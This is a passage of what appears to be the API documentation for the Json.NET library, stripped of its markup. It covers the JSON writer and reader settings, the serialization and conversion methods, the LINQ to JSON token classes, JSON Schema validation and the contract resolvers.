inside the comment. + + + + Writes out the given white space. + + The string of white space characters. + + + + Gets or sets how many IndentChars to write for each level in the hierarchy when is set to Formatting.Indented. + + + + + Gets or sets which character to use to quote attribute values. + + + + + Gets or sets which character to use for indenting when is set to Formatting.Indented. + + + + + Gets or sets a value indicating whether object names will be surrounded with quotes. + + + + + The exception thrown when an error occurs while reading Json text. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or a null reference (Nothing in Visual Basic) if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + The exception thrown when an error occurs while reading Json text. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or a null reference (Nothing in Visual Basic) if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Represents a collection of . + + + + + Provides methods for converting between common language runtime types and JSON types. + + + + + + + + Represents JavaScript's boolean value true as a string. This field is read-only. + + + + + Represents JavaScript's boolean value false as a string. This field is read-only. + + + + + Represents JavaScript's null as a string. This field is read-only. + + + + + Represents JavaScript's undefined as a string. This field is read-only. + + + + + Represents JavaScript's positive infinity as a string. This field is read-only. + + + + + Represents JavaScript's negative infinity as a string. This field is read-only. + + + + + Represents JavaScript's NaN as a string. This field is read-only. + + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + The time zone handling when the date is converted to a string. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Serializes the specified object to a JSON string. + + The object to serialize. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string. + + The object to serialize. + Indicates how the output is formatted. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a collection of . + + The object to serialize. + A collection converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using a collection of . + + The object to serialize. + Indicates how the output is formatted. + A collection converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using a collection of . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be is used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a collection of . + + The object to serialize. + Indicates how the output is formatted. + The used to serialize the object. + If this is null, default serialization settings will be is used. + + A JSON string representation of the object. + + + + + Deserializes the JSON to a .NET object. + + The JSON to deserialize. + The deserialized object from the Json string. + + + + Deserializes the JSON to a .NET object. + + The JSON to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be is used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The JSON to deserialize. + The of object being deserialized. + The deserialized object from the Json string. + + + + Deserializes the JSON to the specified .NET type. + + The type of the object to deserialize to. + The JSON to deserialize. + The deserialized object from the Json string. + + + + Deserializes the JSON to the given anonymous type. + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be infered from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The type of the object to deserialize to. + The JSON to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The type of the object to deserialize to. + The object to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be is used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The JSON to deserialize. + The type of the object to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The JSON to deserialize. + The type of the object to deserialize to. + + The used to deserialize the object. + If this is null, default serialization settings will be is used. + + The deserialized object from the JSON string. + + + + Populates the object with values from the JSON string. + + The JSON to populate values from. + The target object to populate values onto. + + + + Populates the object with values from the JSON string. + + The JSON to populate values from. + The target object to populate values onto. + + The used to deserialize the object. + If this is null, default serialization settings will be is used. + + + + + Serializes the XML node to a JSON string. + + The node to serialize. + A JSON string of the XmlNode. + + + + Serializes the XML node to a JSON string. + + The node to serialize. + Indicates how the output is formatted. + A JSON string of the XmlNode. + + + + Serializes the XML node to a JSON string. + + The node to serialize. + Indicates how the output is formatted. + Omits writing the root object. + A JSON string of the XmlNode. + + + + Deserializes the XmlNode from a JSON string. + + The JSON string. + The deserialized XmlNode + + + + Deserializes the XmlNode from a JSON string nested in a root elment. + + The JSON string. + The name of the root element to append when deserializing. + The deserialized XmlNode + + + + Deserializes the XmlNode from a JSON string nested in a root elment. + + The JSON string. + The name of the root element to append when deserializing. + + A flag to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized XmlNode + + + + Serializes the to a JSON string. + + The node to convert to JSON. + A JSON string of the XNode. + + + + Serializes the to a JSON string. + + The node to convert to JSON. + Indicates how the output is formatted. + A JSON string of the XNode. + + + + Serializes the to a JSON string. + + The node to serialize. + Indicates how the output is formatted. + Omits writing the root object. + A JSON string of the XNode. + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized XNode + + + + Deserializes the from a JSON string nested in a root elment. + + The JSON string. + The name of the root element to append when deserializing. + The deserialized XNode + + + + Deserializes the from a JSON string nested in a root elment. + + The JSON string. + The name of the root element to append when deserializing. + + A flag to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized XNode + + + + The exception thrown when an error occurs during Json serialization or deserialization. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or a null reference (Nothing in Visual Basic) if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Serializes and deserializes objects into and from the JSON format. + The enables you to control how objects are encoded into JSON. + + + + + Initializes a new instance of the class. + + + + + Creates a new instance using the specified . + + The settings to be applied to the . + A new instance using the specified . + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to reader values from. + The target object to populate values onto. + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to reader values from. + The target object to populate values onto. + + + + Deserializes the Json structure contained by the specified . + + The that contains the JSON structure to deserialize. + The being deserialized. + + + + Deserializes the Json structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Deserializes the Json structure contained by the specified + into an instance of the specified type. + + The containing the object. + The type of the object to deserialize. + The instance of being deserialized. + + + + Deserializes the Json structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Serializes the specified and writes the Json structure + to a Stream using the specified . + + The used to write the Json structure. + The to serialize. + + + + Serializes the specified and writes the Json structure + to a Stream using the specified . + + The used to write the Json structure. + The to serialize. + + + + Gets or sets the used by the serializer when resolving references. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets how type name writing and reading is handled by the serializer. + + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + + The type name assembly format. + + + + Gets or sets how object references are preserved by the serializer. + + + + + Get or set how reference loops (e.g. a class referencing itself) is handled. + + + + + Get or set how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + + + + + Get or set how null values are handled during serialization and deserialization. + + + + + Get or set how null default are handled during serialization and deserialization. + + + + + Gets or sets how objects are created during deserialization. + + The object creation handling. + + + + Gets or sets how constructors are used during deserialization. + + The constructor handling. + + + + Gets a collection that will be used during serialization. + + Collection that will be used during serialization. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Indicates how JSON text output is formatted. + + + + + Get or set how dates are written to JSON text. + + + + + Get or set how time zones are handling during serialization and deserialization. + + + + + Get or set how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + + + + + Gets or sets the culture used when reading JSON. Defaults to . + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + + + + + Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. + + + true if there will be a check for additional JSON content after deserializing an object; otherwise, false. + + + + + Occurs when the errors during serialization and deserialization. + + + + + Contains the LINQ to JSON extension methods. + + + + + Returns a collection of tokens that contains the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the ancestors of every node in the source collection. + + + + Returns a collection of tokens that contains the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the descendants of every node in the source collection. + + + + Returns a collection of child properties of every object in the source collection. + + An of that contains the source collection. + An of that contains the properties of every object in the source collection. + + + + Returns a collection of child values of every object in the source collection with the given key. + + An of that contains the source collection. + The token key. + An of that contains the values of every node in the source collection with the given key. + + + + Returns a collection of child values of every object in the source collection. + + An of that contains the source collection. + An of that contains the values of every node in the source collection. + + + + Returns a collection of converted child values of every object in the source collection with the given key. + + The type to convert the values to. + An of that contains the source collection. + The token key. + An that contains the converted values of every node in the source collection with the given key. + + + + Returns a collection of converted child values of every object in the source collection. + + The type to convert the values to. + An of that contains the source collection. + An that contains the converted values of every node in the source collection. + + + + Converts the value. + + The type to convert the value to. + A cast as a of . + A converted value. + + + + Converts the value. + + The source collection type. + The type to convert the value to. + A cast as a of . + A converted value. + + + + Returns a collection of child tokens of every array in the source collection. + + The source collection type. + An of that contains the source collection. + An of that contains the values of every node in the source collection. + + + + Returns a collection of converted child tokens of every array in the source collection. + + An of that contains the source collection. + The type to convert the values to. + The source collection type. + An that contains the converted values of every node in the source collection. + + + + Returns the input typed as . + + An of that contains the source collection. + The input typed as . + + + + Returns the input typed as . + + The source collection type. + An of that contains the source collection. + The input typed as . + + + + Represents a token that can contain other tokens. + + + + + Raises the event. + + The instance containing the event data. + + + + Raises the event. + + The instance containing the event data. + + + + Returns a collection of the child tokens of this token, in document order. + + + An of containing the child tokens of this , in document order. + + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + + A containing the child values of this , in document order. + + + + + Returns a collection of the descendant tokens for this token in document order. + + An containing the descendant tokens of the . + + + + Adds the specified content as children of this . + + The content to be added. + + + + Adds the specified content as the first children of this . + + The content to be added. + + + + Creates an that can be used to add tokens to the . + + An that is ready to have content written to it. + + + + Replaces the children nodes of this token with the specified content. + + The content. + + + + Removes the child nodes from this token. + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets a value indicating whether this token has childen tokens. + + + true if this token has child values; otherwise, false. + + + + + Get the first child token of this token. + + + A containing the first child token of the . + + + + + Get the last child token of this token. + + + A containing the last child token of the . + + + + + Gets the count of child JSON tokens. + + The count of child JSON tokens + + + + Occurs when the list changes or an item in the list changes. + + + + + Occurs before an item is added to the collection. + + + + + Represents a JSON constructor. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name. + + The constructor name. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Loads an from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets or sets the name of this constructor. + + The constructor name. + + + + Gets the node type for this . + + The type. + + + + Gets the with the specified key. + + The with the specified key. + + + + Represents a collection of objects. + + The type of token + + + + An empty collection of objects. + + + + + Initializes a new instance of the struct. + + The enumerable. + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Gets the with the specified key. + + + + + + + Represents a JSON object. + + + + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Gets an of this object's properties. + + An of this object's properties. + + + + Gets a the specified name. + + The property name. + A with the specified name or null. + + + + Gets an of this object's property values. + + An of this object's property values. + + + + Loads an from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified property name. + + Name of the property. + The with the specified property name. + + + + Gets the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + One of the enumeration values that specifies how the strings will be compared. + The with the specified property name. + + + + Tries to get the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + The value. + One of the enumeration values that specifies how the strings will be compared. + true if a value was successfully retrieved; otherwise, false. + + + + Adds the specified property name. + + Name of the property. + The value. + + + + Removes the property with the specified name. + + Name of the property. + true if item was successfully removed; otherwise, false. + + + + Tries the get value. + + Name of the property. + The value. + true if a value was successfully retrieved; otherwise, false. + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the node type for this . + + The type. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the with the specified property name. + + + + + + + Occurs when a property value changes. + + + + + Occurs when a property value is changing. + + + + + Represents a JSON array. + + + + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Loads an from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Inserts an item to the at the specified index. + + The zero-based index at which should be inserted. + The object to insert into the . + + is not a valid index in the . + The is read-only. + + + + Removes the item at the specified index. + + The zero-based index of the item to remove. + + is not a valid index in the . + The is read-only. + + + + Adds an item to the . + + The object to add to the . + The is read-only. + + + + Removes all items from the . + + The is read-only. + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the node type for this . + + The type. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the at the specified index. + + + + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized Json data. + + + + + Initializes a new instance of the class. + + The token to read from. + + + + Reads the next JSON token from the stream as a . + + + A or a null reference if the next JSON token is null. This method will return null at the end of an array. + + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream. + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating Json data. + + + + + Initializes a new instance of the class writing to the given . + + The container being written to. + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the underlying streams and also flushes the underlying stream. + + + + + Closes this stream and the underlying stream. + + + + + Writes the beginning of a Json object. + + + + + Writes the beginning of a Json array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end. + + The token. + + + + Writes the property name of a name/value pair on a Json object. + + The name of the property. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes out a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Gets the token being writen. + + The token being writen. + + + + Represents a JSON property. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Loads an from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the property name. + + The property name. + + + + Gets or sets the property value. + + The property value. + + + + Gets the node type for this . + + The type. + + + + Specifies the type of token. + + + + + No token type has been set. + + + + + A JSON object. + + + + + A JSON array. + + + + + A JSON constructor. + + + + + A JSON object property. + + + + + A comment. + + + + + An integer value. + + + + + A float value. + + + + + A string value. + + + + + A boolean value. + + + + + A null value. + + + + + An undefined value. + + + + + A date value. + + + + + A raw JSON value. + + + + + A collection of bytes value. + + + + + A Guid value. + + + + + A Uri value. + + + + + A TimeSpan value. + + + + + Contains the JSON schema extension methods. + + + + + Determines whether the is valid. + + The source to test. + The schema to test with. + + true if the specified is valid; otherwise, false. + + + + + Determines whether the is valid. + + The source to test. + The schema to test with. + When this method returns, contains any error messages generated while validating. + + true if the specified is valid; otherwise, false. + + + + + Validates the specified . + + The source to test. + The schema to test with. + + + + Validates the specified . + + The source to test. + The schema to test with. + The validation event handler. + + + + Returns detailed information about the schema exception. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or a null reference (Nothing in Visual Basic) if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Resolves from an id. + + + + + Initializes a new instance of the class. + + + + + Gets a for the specified id. + + The id. + A for the specified id. + + + + Gets or sets the loaded schemas. + + The loaded schemas. + + + + Specifies undefined schema Id handling options for the . + + + + + Do not infer a schema Id. + + + + + Use the .NET type name as the schema Id. + + + + + Use the assembly qualified .NET type name as the schema Id. + + + + + Returns detailed information related to the . + + + + + Gets the associated with the validation error. + + The JsonSchemaException associated with the validation error. + + + + Gets the path of the JSON location where the validation error occurred. + + The path of the JSON location where the validation error occurred. + + + + Gets the text description corresponding to the validation error. + + The text description. + + + + Represents the callback method that will handle JSON schema validation events and the . + + + + + Used by to resolves a for a given . + + + + + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used by to resolves a for a given . + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + + If set to true the will use a cached shared with other resolvers of the same type. + Sharing the cache will significantly performance because expensive reflection will only happen once but could cause unexpected + behavior if different instances of the resolver are suppose to produce different results. When set to false it is highly + recommended to reuse instances with the . + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Gets the serializable members for the type. + + The type to get serializable members for. + The serializable members for the type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates the constructor parameters. + + The constructor to create properties for. + The type's member properties. + Properties for the given . + + + + Creates a for the given . + + The matching member property. + The constructor parameter. + A created for the given . + + + + Resolves the default for the contract. + + Type of the object. + The contract's default . + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Determines which contract type is created for the given type. + + Type of the object. + A for the given type. + + + + Creates properties for the given . + + The type to create properties for. + /// The member serialization mode for the type.Properties for the given . + + + Creates the used by the serializer to get and set values from a member. + + The member. + The used by the serializer to get and set values from a member. + + + + Creates a for the given . + + The member's parent . + The member to create a for. + A created for the given . + + + + Resolves the name of the property. + + Name of the property. + Name of the property. + + + + Gets the resolved name of the property. + + Name of the property. + Name of the property. + + + + Gets a value indicating whether members are being get and set using dynamic code generation. + This value is determined by the runtime permissions available. + + + true if using dynamic code generation; otherwise, false. + + + + + Gets or sets the default members search flags. + + The default members search flags. + + + + Gets or sets a value indicating whether compiler generated members should be serialized. + + + true if serialized compiler generated members; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. + + + true if the interface will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. + + + true if the attribute will be ignored when serializing and deserializing types; otherwise, false. + + + + + Resolves member mappings for a type, camel casing property names. + + + + + Initializes a new instance of the class. + + + + + Resolves the name of the property. + + Name of the property. + The property name camel cased. + + + + The default serialization binder used when resolving and loading classes from type names. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + The type of the object the formatter creates a new instance of. + + + + + Provides information surrounding an error. + + + + + Gets or sets the error. + + The error. + + + + Gets the original object that caused the error. + + The original object that caused the error. + + + + Gets the member that caused the error. + + The member that caused the error. + + + + Gets the path of the JSON location where the error occurred. + + The path of the JSON location where the error occurred. + + + + Gets or sets a value indicating whether this is handled. + + + true if handled; otherwise, false. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Gets the of the collection items. + + The of the collection items. + + + + Gets a value indicating whether the collection type is a multidimensional array. + + + true if the collection type is a multidimensional array; otherwise, false. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Gets or sets the property name resolver. + + The property name resolver. + + + + Gets the of the dictionary keys. + + The of the dictionary keys. + + + + Gets the of the dictionary values. + + The of the dictionary values. + + + + Maps a JSON property to a .NET member or constructor parameter. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the type that declared this property. + + The type that declared this property. + + + + Gets or sets the order of serialization and deserialization of a member. + + The numeric order of serialization or deserialization. + + + + Gets or sets the name of the underlying member or parameter. + + The name of the underlying member or parameter. + + + + Gets the that will get and set the during serialization. + + The that will get and set the during serialization. + + + + Gets or sets the type of the property. + + The type of the property. + + + + Gets or sets the for the property. + If set this converter takes presidence over the contract converter for the property type. + + The converter. + + + + Gets the member converter. + + The member converter. + + + + Gets a value indicating whether this is ignored. + + + true if ignored; otherwise, false. + + + + Gets a value indicating whether this is readable. + + + true if readable; otherwise, false. + + + + Gets a value indicating whether this is writable. + + + true if writable; otherwise, false. + + + + Gets a value indicating whether this has a member attribute. + + + true if has a member attribute; otherwise, false. + + + + Gets the default value. + + The default value. + + + + Gets a value indicating whether this is required. + + A value indicating whether this is required. + + + + Gets a value indicating whether this property preserves object references. + + + true if this instance is reference; otherwise, false. + + + + + Gets the property null value handling. + + The null value handling. + + + + Gets the property default value handling. + + The default value handling. + + + + Gets the property reference loop handling. + + The reference loop handling. + + + + Gets the property object creation handling. + + The object creation handling. + + + + Gets or sets the type name handling. + + The type name handling. + + + + Gets or sets a predicate used to determine whether the property should be serialize. + + A predicate used to determine whether the property should be serialize. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets an action used to set whether the property has been deserialized. + + An action used to set whether the property has been deserialized. + + + + Gets or sets the converter used when serializing the property's collection items. + + The collection's items converter. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Gets or sets the the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets the the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + A collection of objects. + + + + + Initializes a new instance of the class. + + The type. + + + + When implemented in a derived class, extracts the key from the specified element. + + The element from which to extract the key. + The key for the specified element. + + + + Adds a object. + + The property to add to the collection. + + + + Gets the closest matching object. + First attempts to get an exact case match of propertyName and then + a case insensitive match. + + Name of the property. + A matching property if found. + + + + Gets a property by property name. + + The name of the property to get. + Type property name string comparison. + A matching property if found. + + + + Specifies missing member handling options for the . + + + + + Ignore a missing member and do not attempt to deserialize it. + + + + + Throw a when a missing member is encountered during deserialization. + + + + + Specifies null value handling options for the . + + + + + + + + + Include null values when serializing and deserializing objects. + + + + + Ignore null values when serializing and deserializing objects. + + + + + Specifies reference loop handling options for the . + + + + + Throw a when a loop is encountered. + + + + + Ignore loop references and do not serialize. + + + + + Serialize loop references. + + + + + An in-memory representation of a JSON Schema. + + + + + Initializes a new instance of the class. + + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The object representing the JSON Schema. + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The to use when resolving schema references. + The object representing the JSON Schema. + + + + Load a from a string that contains schema JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + Parses the specified json. + + The json. + The resolver. + A populated from the string that contains JSON. + + + + Writes this schema to a . + + A into which this method will write. + + + + Writes this schema to a using the specified . + + A into which this method will write. + The resolver used. + + + + Returns a that represents the current . + + + A that represents the current . + + + + + Gets or sets the id. + + + + + Gets or sets the title. + + + + + Gets or sets whether the object is required. + + + + + Gets or sets whether the object is read only. + + + + + Gets or sets whether the object is visible to users. + + + + + Gets or sets whether the object is transient. + + + + + Gets or sets the description of the object. + + + + + Gets or sets the types of values allowed by the object. + + The type. + + + + Gets or sets the pattern. + + The pattern. + + + + Gets or sets the minimum length. + + The minimum length. + + + + Gets or sets the maximum length. + + The maximum length. + + + + Gets or sets a number that the value should be divisble by. + + A number that the value should be divisble by. + + + + Gets or sets the minimum. + + The minimum. + + + + Gets or sets the maximum. + + The maximum. + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the "minimum" attribute. + + A flag indicating whether the value can not equal the number defined by the "minimum" attribute. + + + + Gets or sets a 